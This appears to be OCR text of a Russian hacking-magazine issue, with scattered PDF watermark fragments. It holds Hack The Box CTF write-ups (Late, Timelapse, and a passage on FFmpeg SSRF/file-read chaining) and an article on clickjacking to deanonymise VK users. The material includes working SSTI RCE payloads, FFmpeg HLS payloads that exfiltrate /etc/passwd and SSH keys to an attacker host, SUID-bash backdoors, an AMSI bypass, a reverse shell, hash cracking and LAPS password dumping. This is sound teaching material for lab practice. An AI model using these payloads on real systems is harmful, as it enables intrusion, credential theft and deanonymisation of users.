
 

 

c

 

 

 

 

 

 

 

 

 

 

 

e

 

 

p

df

-x

 

 

g

 

 

 

 

 

 

n

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

C

 

E

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

← НАЧАЛО СТАТЬИ wClick

 

BUY

 

to

 

 

 

.co m

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

.

 

 

c

 

 

e

 

 

p

df

 

 

 

g

 

 

 

 

 

 

n

 

 

 

 

 

 

-x ha

 

 

 

 

ИЗВЛЕКАЕМ ДАННЫЕ ЧЕРЕЗ ЦЕПОЧКУ OPEN REDIRECT, RXXS И CSTI

Получаем adminToken и пробуем отправить любой из предложенных файлов.

Форма загрузки файла

Появилось сообщение, что файл загружен, а значит, мы получили нужный токен. Продолжаем тестирование.

ПРОДВИЖЕНИЕ

Набор принимаемых форматов файлов натолкнул меня на мысль об использовании FFmpeg — я с ним уже сталкивался в подобных ситуациях. Первым делом стоит проверить, есть ли для обнаруженной CMS готовые эксплоиты. Поищем в интернете на сайтах вроде HackerOne, exploit-db, а также GitHub. Находим подходящий эксплоит на HackerOne.

Поиск эксплоитов в Google

FFmpeg, если ты вдруг про него не слышал, — это мощнейший опенсорсный инструмент для преобразования видео. В него входит несколько библиотек:

libavcodec — библиотека аудио- и видеокодеков, которая используется во многих коммерческих и бесплатных продуктах;

libavformat — библиотека мультиплексирования и демультиплексирования контейнеров аудио/видео;

mpeg — программа для командной строки, которая запускает операции над видеофайлами.

SSRF

Для эксплуатации подделки запросов на стороне сервера (SSRF) нам просто нужно загрузить файл .avi с внедренными HLS-директивами (список воспроизведения) внутри.

#EXTM3U

#EXT-X-MEDIA-SEQUENCE:0

#EXTINF:10.0,

http://[наш сервер]

#EXT-X-ENDLIST

После загрузки файла с таким содержимым мы просто получим запрос на свой сервер. User-Agent будет иметь версию упомянутой библиотеки libavformat.

LFR

Для эксплуатации уязвимости локального чтения файлов (LFR) нужно поместить на своем сервере специальный файл и ссылаться на него внутри видео, которое якобы будет загружаться. Содержимое файла header.m3u8:

#EXTM3U

#EXT-X-MEDIA-SEQUENCE:0

#EXTINF:,

http://[наш сервер]?

А теперь, чтобы получить первую строку из файла /etc/passwd, загружаемый AVI должен иметь следующее содержимое:

#EXTM3U

#EXT-X-MEDIA-SEQUENCE:0

#EXTINF:10.0,

concat:http://[наш сервер]/header.m3u8|file:///etc/passwd

#EXT-X-ENDLIST

FFmpeg HLS SSRF

Проект FFmpeg-HLS-SSRF позволит нам получить весь файл целиком. Загружаем его на сервер:

python3 server.py --external-addr 10.10.14.123 --port 8000

После этого создадим файл AVI со следующим содержимым:

#EXTM3U

#EXT-X-MEDIA-SEQUENCE:0

#EXTINF:10.0,

http://10.10.14.123:8000/initial.m3u?filename=/etc/passwd

#EXT-X-ENDLIST

Это поможет нам извлечь файл /etc/passwd. После того как сервер выдаст ошибку, его можно остановить.

Ошибка сервера

В каталоге сервера найдем файл с эксфильтрованными данными.

Содержимое файла /etc/passwd

Из файла узнаем о пользователе user. Попробуем получить его приватный ключ SSH.

#EXTM3U

#EXT-X-MEDIA-SEQUENCE:0

#EXTINF:10.0,

http://10.10.14.123:8000/initial.m3u?filename=/home/user/.ssh/id_

rsa

#EXT-X-ENDLIST

Содержимое файла id_rsa

Теперь осталось разобраться с его форматированием. Я открыл созданный файл в hex-редакторе и определил, что вместо символа перевода строки используется null-байт.

Файл id_rsa в hex-редакторе

Заменим null-байт символом \n и сохраним уже с нормальным форматированием.

SSH-ключ пользователя

Командой chmod 0600 id_rsa назначаем нужные файлу права и подключаемся по SSH.

Флаг пользователя

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

В домашнем каталоге пользователя, кроме файла с флагом, находим еще и каталог с каким-то приложением на Node.js.

Содержимое каталога onegraph

Проверяя прослушиваемые порты, находим типичный для веба порт 8080, который открыт для локального хоста.

netstat -tlpn

Прослушиваемые порты

Проверим найденное приложение. Для этого нужно будет прокинуть порт 8080 на свой хост с помощью SSH.

ssh -L 8081:127.0.0.1:8080 -i id_rsa user@overgraph.htb

Таким образом, весь трафик, который мы пошлем на локальный порт 8081, будет туннелирован на порт 8080 указанного хоста (в данном слу-

чае 127.0.0.1) через SSH-хост.

Ответ сервера

Но приложение нам отвечает уже знакомым ответом. Я проверил наличие известных каталогов, к примеру /graphql.

Страница /graphql

И это тот же API, c которым мы работали раньше. Только в данном случае мы имеем доступ к исходным кодам. Причем наш пользователь — владелец большинства файлов, что дает нам возможность записывать свой код! Почти во всех файлах подключается и используется модуль mongoose, как и

в addUser.js.

Исходный код addUser.js

Создать файл в текущем каталоге мы не можем, но можем перейти к самому модулю в каталоге node_modules.

Содержимое каталога /node_modules/mongoose

Файл index.js служит только для подключения модулей из каталога lib.

Содержимое файла index.js и каталога lib

В файле addUser.js использовался именно модуль connection, поэтому внесем изменения в файл connection.js. В самом начале подключим модуль

child_process.

const { exec } = require("child_process");

Исходный код connection.js

А в конструкторе класса Connection вызовем функцию exec, куда передадим команду назначения S-бита файлу командной оболочки bash.

exec("cp /bin/bash /tmp/bash && chmod u+s /tmp/bash", (error,

stdout, stderr) => {

if (error) {

console.log(`error: ${error.message}`);

return;

}

if (stderr) {

console.log(`stderr: ${stderr}`);

return;

}

console.log(`stdout: ${stdout}`);

});

Исходный код connection.js

Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь, запускающий этот файл, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса. После получения повышенных прав приложение может выполнять задачи, которые недоступны обычному пользователю. Из-за возможности состояния гонки многие операционные системы игнорируют S-атрибут, установленный shell-скриптам.

Флаг рута

Мы получаем доступ от имени рута, а значит, машина захвачена!

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

ВЗЛОМ

 

wClick

to

 

 

 

o m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

ЭКСПЛУАТИРУЕМ ИНЪЕКЦИЮ ШАБЛОНОВ В СЕРВИСЕ ОБРАБОТКИ ИЗОБРАЖЕНИЙ

В этом райтапе я покажу, как эксплуатировать серверную инъекцию шаблонов (SSTI) в сервисе для распознавания текста на изображениях. А в повышении привилегий нам поможет пользовательский скрипт для отслеживания логина и логаута пользователей. Упражняться будем на «легкой» машине Late с площадки Hack The Box.

RalfHacker hackerralf8@gmail.com

Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

РАЗВЕДКА Сканирование портов

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.156 late.htb

И запускаем сканирование портов.

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.

Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f

1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Результат работы скрипта

Находим всего два открытых порта:

22 — служба OpenSSH 7.6p1;

80 — веб-сервер Nginx 1.14.0.

Брутить SSH смысла нет, поэтому начинаем исследование с веб-сервера.

Поскольку вначале у нас нет учетных данных, нет и смысла изучать службы, которые всегда требуют авторизации (например, SSH). Единственное, что мы можем делать здесь, — это перебирать пароли брутфорсом, но машины с HTB почти всегда можно пройти по-другому. В жизни таких вариантов может не быть, к тому же есть шансы подобрать пароль или получить его при помощи социальной инженерии.

Заглянем на сайт через браузер.

Главная страница сайта http://late.htb

ТОЧКА ВХОДА

На сайте видим всего две страницы: Home (текущая) и Contact. Попробуем поискать скрытый контент.

Одно из первых действий при тестировании безопасности веб-приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB.

Я предпочитаю легкий и очень быстрый uf. При запуске указываем следующие параметры:

-w — словарь (я использую словари из набора SecLists);

-t — количество потоков;

-u — URL;

-fc — исключить из результата ответы с кодом 403.

Запускаем ffuf:

ffuf -u 'http://late.htb/FUZZ' -t 256 -w directory_2.3_medium_

lowercase.txt

Результат сканирования каталогов с помощью uf

Снова ничего интересного. Тогда перейдем к сканированию файлов HTML (ведь нас встретили именно такие статические страницы):

ffuf -u 'http://late.htb/FUZZ.html' -t 256 -w directory_2.3_

medium_lowercase.txt

Результат сканирования HTML-файлов с помощью uf

И снова ничего нового. Тогда я решил просмотреть исходники страниц и сразу обнаружил в тексте ссылку, ведущую на другой поддомен!

Ссылка в тексте

Новый поддомен

Найденный поддомен добавим в файл /etc/hosts и заглянем на расположенный там сайт.

10.10.11.156 late.htb images.late.htb

Главная страница сайта http://images.late.htb

Нас встречает преобразователь изображений в текст, написанный с использованием Flask, а это значит, что нужно сразу проверить наличие уязвимостей

SSTI.

ТОЧКА ОПОРЫ

Я решил отправить первое попавшееся под руку изображение, чтобы посмотреть, как работает этот конвертер, и в ответ получил запрос на сохранение файла. Файл содержал весь текст с отправленного изображения, заключенный в тег <p>.

Отправленное изображение и скачанный файл

Îò SSTI ê RCE

Раз мы можем управлять кодом на странице, попробуем проэксплуатировать

SSTI.

Server-side template injection (SSTI), или инъекция шаблонов на стороне сер-

вера, — это механизм атаки, при котором злоумышленник внедряет в шаблон вредоносный код. Шаблоны нужны веб-разработчикам, чтобы можно было настраивать внешний вид сайта только в одном месте и затем не копировать вручную. По сути, шаблон — это документ HTML, где в нужных местах отмечены переменные и команды, которые при генерации итоговой страницы будут заменены данными. В том числе это могут быть и данные, полученные от посетителя сайта.

Атака затрагивает момент, когда присланная информация объединяется с шаблоном. Злоумышленник формирует строку таким образом, чтобы она не просто подставилась в шаблон, но была интерпретирована как код. Если это возможно, то он добавит свои директивы, с помощью которых выполнит эксфильтрацию данных или даже захват веб-сервера.

В качестве теста уязвимости SSTI я отправил {{7*7}}. Если сервер уязвим, он выполнит это выражение и вернет нам результат. Я написал эту последовательность в текстовом редакторе, сделал скриншот и отправил его.

Тест уязвимости SSTI

Видим, что сервер уязвим к внедрению шаблонов. Не выполняя обычные перечисления, я решил сразу попробовать получить RCE. Давай получим результат выполнения команды id. Для этого импортируем модуль os. Снова пишем весь код в редакторе, делаем скриншот, отправляем изображение и получаем информацию о текущем контексте работы.

${{ config.__class__.from_envvar.__globals__.import_string("os").

popen("id").read() }}

Результат выполнения команды id

RCE есть, теперь нужно получить стабильный доступ к хосту. Не будем сразу пытаться пробросить реверс-шелл, а сначала запросим приватный ключ пользователя svc_acc, что даст нам возможность подключиться по SSH.

${{ config.__class__.from_envvar.__globals__.import_string("os").

popen("cat /home/svc_acc/.ssh/id_rsa").read() }}

Приватный ключ пользователя

Есть приватный ключ. Копируем его в отдельный файл, назначаем права командой chmod 0600 id_rsa, затем подключаемся по SSH и забираем флаг пользователя.

Флаг пользователя

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Теперь, когда мы получили доступ к хосту, нам необходимо собрать информацию. Загрузим на хост скрипт PEASS, запустим его и посмотрим, что он найдет.

Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют систему на автомате.

Чтобы воспользоваться скриптом, его нужно сначала загрузить на локальный хост.

wget https://github.com/carlospolop/PEASS-ng/releases/latest/

download/linpeas.sh -O /tmp/linpeas.sh

Затем с помощью встроенных средств SSH загружаем скрипт на удаленный хост, назначаем ему права и выполняем.

scp -i id_rsa /tmp/linpeas.sh svc_acc@late.htb:/tmp/

chmod +x /tmp/linpeas.sh

/tmp/linpeas.sh

Результат работы скрипта

Мы узнали, что в нашем владении — скрипт /usr/local/sbin/ssh-alert.sh. Посмотрим, для чего он нужен.

Содержимое скрипта ssh-alert.sh

Этот скрипт уведомляет, что обнаружен логин по SSH, и отправляет руту сообщение с помощью sendmail. Так как мы владельцы этого файла, мы можем внести в него изменения. Давай посмотрим, что приводит к его запуску.

Для отслеживания запускаемых процессов в системе будем использовать утилиту pspy64. Загрузим ее на хост тем же способом, которым загружали linpeas, а потом выполним. Поскольку найденный скрипт сообщает о подключении по SSH, в другом терминале подключимся по SSH, а затем отключимся.

Логин и логаут SSH и логи pspy64

В выводе находим отображение запуска найденного скрипта, но, что более интересно, он запускается в контексте пользователя с UID=0, а это root. Таким образом, мы можем написать в скрипт свои команды, которые будут выполнены в привилегированном контексте.

В качестве метода закрепления давай назначим файлу командной оболочки бит SUID.

Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь, запускающий этот файл, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса. После получения повышенных прав приложение может выполнять задачи, которые недоступны обычному пользователю. Из-за возможности состояния гонки многие операционные системы игнорируют S-атрибут, установленный shell-скриптам.

echo "chmod u+s /bin/bash" >> ssh-alert.sh

Теперь снова зайдем по SSH, сразу же выйдем и проверим права на файл.

Права на файл /bin/bash

S-бит установлен, и мы можем изменить контекст пользователя и забрать флаг рута.

/bin/bash -p

Флаг рута

Машина захвачена!

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

ВЗЛОМ

 

 

wClick

to

 

 

 

o m

 

 

c

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

 

.

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

-x

 

n

e

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

АТАКУЕМ

WINDOWS REMOTE MANAGEMENT

ИРАБОТАЕМ С СЕРТИФИКАТАМИ

Вэтом райтапе мы с тобой взломаем лег-

кую по уровню сложности машину на Windows: поработаем с сертификатами для службы WinRM, а также с LAPS — чтобы повысить привилегии.

RalfHacker hackerralf8@gmail.com

Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

РАЗВЕДКА Сканирование портов

Добавляем IP-адрес машины в /etc/hosts, чтобы было удобнее обращаться к ней:

10.10.11.152 timelapse.htb

И запускаем сканирование портов.

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.

Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f

1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Результат работы скрипта

Мы нашли много открытых портов:

53 — служба DNS;

88 — служба авторизации Kerberos;

135 — служба удаленного вызова процедур (Microsoft RPC);

139 — служба имен NetBIOS;

389, 636, 3268, 3269 — служба LDAP;

445 — служба SMB;

464 — служба смены пароля Kerberos;

593 — служба удаленного вызова процедур (Microsoft RPC над HTTPS);

5986 — служба удаленного управления Windows (WinRM).

Ïîðò 445 — SMB

Сразу проведем базовую разведку SMB. Простым подключением с помощью CrackMapExec узнаем версию операционной системы и имя хоста.

cme smb 10.10.11.152

Подключение с помощью CrackMapExec

Также стоит попробовать подключение от имени гостя (анонимную авторизацию).

cme smb 10.10.11.152 -u guest -p '' --shares

Общие SMB-ресурсы

И находим доступную для чтения директорию Shares.

ТОЧКА ВХОДА

Подключимся к этому ресурсу с помощью утилиты smbclient из пакета скриптов impacket и просмотрим доступные файлы (при запросе пароля ничего не вводим).

smbclient.py guest@10.10.11.152

use Shares

ls

Содержимое ресурса Shares

В каталоге Dev найдем архив ZIP.

cd Dev

ls

Содержимое каталога Dev

Скачиваем его командой get, а при попытке распаковать у нас запросят пароль.

Распаковка архива

Пароль не проблема, если он слабый, так как его можно перебрать. Для перебора будем использовать утилиту fcrackzip.

fcrackzip -v -D -u winrm_backup.zip -p rockyou.txt

Результат подбора пароля

В архиве находим файл .pfx — сертификат в формате PKCS#12. При попытке открыть и просмотреть его у нас снова запрашивают пароль.

Результат просмотра PFX-файла

ТОЧКА ОПОРЫ

Будем надеяться, что и тут используется слабый пароль. Можно преобразовать файл в формат программы John the Ripper — продвинутого брутфорсера хешей. Вместе с «Джоном» обычно поставляется репозиторий скриптов для преобразования хешей из разных форматов файлов в понимаемый брутфорсером формат. В данном случае нам нужен скрипт pfx2john.

/usr/share/john/pfx2john.py legacyy_dev_auth.crt

Результат преобразования файла

Сохраним хеш в файл и передадим на перебор. В качестве словаря будем использовать знаменитый rockyou.

john --wordlist=./rockyou.txt pfx.hash

Результат перебора хеша

Теперь, когда мы получили пароль от сертификата PFX, нам нужно извлечь из него отдельно сертификат и отдельно ключ. Для этого воспользуемся утилитой OpenSSL, которой нужно указать:

формат файла и сам входной файл (параметр -in);

имя файла, в который записать результат (параметр -out);

параметры (для ключа -nocerts, а для получения сертификата -clcerts

и -nokeys).

openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out key.pem

-nodes

Получение ключа

openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out

cert.crt -nodes

Получение сертификата

Теперь нам нужно очистить файлы ключа и сертификата. Для этого оставим в файлах только данные после -----BEGIN. Теперь у нас все готово, чтобы подключиться к службе WinRM по сертификату. Для этого используем крутую утилиту Evil-WinRM.

evil-winrm -S -k ./clear_key.pem -c ./clear_cert.crt -i 10.10.11.

152

Флаг пользователя

ПРОДВИЖЕНИЕ

Первым делом получим информацию о текущем пользователе. Это поможет более точно понять контекст, в котором мы работаем.

whoami /all

Информация о текущем пользователе

Таким образом, подконтрольный нам пользователь состоит в группе разработчиков. Никаких проектов на диске найти не удалось, поэтому посмотрим логи

PowerShell, а именно вот этот history-файл:

C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\Powershell\

PSReadLine\ConsoleHost_history.txt

Просмотр истории команд PowerShell

Из этого файла мы получаем учетные данные для подключения от имени поль-

зователя svc_deploy.

$so = New-PSSessionOption -SkipCACheck -SkipCNCheck

-SkipRevocationCheck

$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV'

-AsPlainText -Force

$c = New-Object System.Management.Automation.PSCredential (

'svc_deploy', $p)

invoke-command -computername localhost -credential $c -port 5986

-usessl -SessionOption $so -scriptblock {whoami}

Выполнение команды от имени пользователя svc_deploy

Мы можем получить другой контекст выполнения, поэтому прокинем реверс-шелл. Но сначала нужно отключить AMSI, сделать это можно с помощью встроенного в Evil-WinRM средства Bypass-4MSI.

menu

Bypass-4MSI

Патч AMSI

Реверс-шелл возьмем с крутого онлайнового генератора, где нужно указать хост и порт для обратного подключения. Кроме реверс-шелла, получим и команду для листенера:

rlwrap -cAr nc -lnvp 4321

Генерирование реверс-шелла

А теперь выполняем наш реверс-шелл.

$so = New-PSSessionOption -SkipCACheck -SkipCNCheck

-SkipRevocationCheck

$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV'

-AsPlainText -Force

$c = New-Object System.Management.Automation.PSCredential (

'svc_deploy', $p)

invoke-command -computername localhost -credential $c -port 5986

-usessl -SessionOption $so -scriptblock { powershell -e JABjAGw...

}

Бэкконнект от имени svc_deploy

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Так как рабочий контекст изменился, снова запросим информацию о пользователе.

whoami /all

Информация о пользователе

Пользователь состоит в группе LAPS_Readers, что позволяет ему читать свойства объектов, связанных с LAPS.

Local Administrator Password Solution (LAPS) позволяет централизованно управлять паролями администраторов на всех компьютерах домена и хранить информацию о пароле и дате его смены непосредственно в объектах типа Computer в Active Directory. LAPS основан на использовании специальных функций GPO, которые, в свою очередь, основаны на Group Policy Client Side Extension. Это небольшой модуль, который устанавливается на рабочие станции. Это расширение GPO используется для генерации уникального пароля локального администратора на каждом компьютере домена. Пароль администратора автоматически меняется с указанной периодичностью (по умолчанию каждые 30 дней). Значение текущего пароля хранится в конфиденциальном атрибуте ms-Mcs-AdmPwd учетной записи компьютера в Active Directory, доступ на просмотр содержимого атрибута регулируется группами безопасности AD.

На компьютере установлен модуль PowerShell Active Directory, поэтому мы можем получить значение ms-Mcs-AdmPwd одной простой командой.

Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd,

ms-Mcs-AdmPwdExpirationTime

Получение пароля локального администратора

Мы узнали пароль локального админа, поэтому можем подключиться к службе

WinRM.

evil-winrm -S -u 'Administrator' -p '0[haC+zxJ+Tq)+;a)1DU9qG#' -i

10.10.11.152

Флаг рута

Машина захвачена!

 

 

 

hang

e

 

 

 

 

 

 

C

 

E

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

BUY

 

ПРИВАТНОСТЬ

 

wClick

to

 

 

 

o m

 

 

 

 

 

w

 

 

 

 

 

 

 

 

w

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

p

 

 

g

 

 

 

 

df

 

 

n

e

 

 

 

 

-x ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

КАК ХАКЕРЫ ИСПОЛЬЗУЮТ КЛИКДЖЕКИНГ ДЛЯ ДЕАНОНИМИЗАЦИИ

В этой статье я расскажу, как злоумышленник может использовать технику социального фишинга под названием кликджекинг, чтобы деанонимизировать пользователя. В качестве примера мы будем изучать атаку на аккаунт VK и посмотрим, как именно хакер может узнать идентификатор пользователя. Это очень опасный вид атаки, который сложно предотвратить, и попасться на него может каждый.

DigitalScout

Мой канал с инструментами, методами и статьями о digital-разведке:

https://t.me/Digitalntelligenc e

Статья имеет ознакомительный характер и призвана предостеречь от опасности непреднамеренного разглашения личных данных. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации.

ЧТО ТАКОЕ КЛИКДЖЕКИНГ

Кликджекинг — это механизм обмана, связанный с размещением на сайте невидимых элементов, с которыми пользователь может взаимодействовать, даже не подозревая этого. То есть создается кнопка и в невидимом слое накладывается поверх другой — видимой. Например, жертва хочет посмотреть фильм на сайте, жмет Play, а попутно еще случайно дает «согласие на обработку персональных данных». Найти такие невидимые элементы можно, только заглянув в код сайта.

Бывает еще и «курсорджекинг». Это незаметное перемещение курсора мыши, чтобы выполнить те или иные действия на странице. Перемещаться вместе с курсором может и какой-то элемент.

Дальше я покажу, как злоумышленник может добавить на страницу виджет «ВКонтакте», сделать его невидимым и подложить ничего не подозревающему пользователю.

ДИЗАЙН САЙТА

Здесь злоумышленник может нафантазировать что угодно. Социальный фишинг — ничто без социальной инженерии, поэтому потребуется схема введения в заблуждение, под которую уже будет подгоняться содержимое сайта.

Для примера возьмем пустой шаблон.

<!DOCTYPE html> <!-- Объявление формата документа -->

<html>

<head> <!-- Техническая информация о документе -->

<meta charset="UTF-8"> <!-- Определение кодировки символов -->

<title>...</title> <!-- Заголовок документа -->

<link rel="stylesheet" type="text/css" href="style.css"> <!--

Подключение внешней таблицы стилей -->

<script src="script.js"></script> <!-- Подключение сценариев -->

</head>

<body> <!-- Основная часть документа -->

</body>

</html>

АВТОРИЗАЦИЯ VK

Теперь на сайт добавляется возможность авторизоваться через VK. Для этого есть официальный API, к нему идет подробная инструкция.

Если вкратце, то достаточно добавить вот этот скрипт в секцию head:

<script src="https://vk.com/js/api/openapi.js?169" type="text/

javascript"></script>

И вот это — в body:

<div id="vk_auth"></div>

<script type="text/javascript"> window.onload = function () { VK.

init({apiId:1111111});

VK.Widgets.Auth('vk_auth', {});

}

</script>

Параметру apiId нужно дать значение, которое находится в документации и есть в разделе «Код виджета для вставки на сайте».

На скрине замазан сам идентификатор. Теперь на сайте должна появиться такая кнопка.

У злоумышленника есть широкий выбор вариантов того, как переправлять себе данные об авторизованных посетителях. На стороне сервера для этого может использоваться база данных или просто текстовый файл.

Как сказано в документации, после авторизации метод VK.Widgets.Auth возвращает данные о пользователе в виде GET-параметров URL при использовании authUrl или в виде параметров функции при использовании onAuth. Возвращаются следующие поля:

uid (integer) — идентификатор пользователя;

first_name (string) — имя;

last_name (string) — фамилия;

photo (string) — URL фотографии профиля пользователя шириной 200 px;

photo_rec (string) — URL фотографии профиля пользователя шириной 50 px;

hash (string) — служебный параметр, необходимый для проверки авторизации на удаленной стороне.

Для проверки авторизации можно использовать полученный параметр hash, сравнивая его со значением функции MD5 от app_id + user_id + secret_key. Например:

md5(667481942537fTanpCrNSeuGPbA4ENCo)

Как настраивать этот виджет, есть многочисленные инструкции, здесь никаких секретов, разобраться под силу каждому. Так что идем дальше.

НАСТРОЙКА ВИДИМОСТИ

Обычный веб-разработчик на этом этапе бы и остановился, но злоумышленнику нужно сделать кнопку авторизации невидимой и вставить поверх нее какое-нибудь привлекательное изображение, чтобы пользователь прошел авторизацию, не заметив этого. Например, можно поставить поверх какую-то другую кнопку.

Если в любом браузере выбрать «Просмотр кода» и навести курсор мыши на кнопку входа в VK, а затем щелкнуть правой кнопкой, то можно найти такой абзац (на скриншоте замазана часть текста, которой на этом этапе не будет).

Теперь в окне CSS можно добавить opacity: 0.0. Кнопка станет невидимой.

Код абзаца уже со значением opacity: 0.0 можно скопировать и получить код скрытой кнопки. В таком виде злоумышленник и добавляет кнопку на свой сайт вместо прежнего кода.

ВЫВОДЫ

Получается невидимая кнопка, и при нажатии на нее выполняется действие. Кстати, если просто скрыть этот элемент атрибутом hidden, то никакого результата не будет, ведь кнопка не только пропадет визуально, но и не будет получать событий вроде щелчка кнопкой мыши.

Это, по моему мнению, крайне эффективный способ деанонимизации, когда пользователя достаточно направить на страницу — и можно получить его идентификатор VK и некоторые другие данные. Работает же такая схема практически незаметно для обывателя.

Защититься от такого способа крайне сложно. Можно разве что поискать в исходнике подозрительного сайта слово opacity, но вряд ли кто-то будет делать это на каждой посещаемой странице.

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

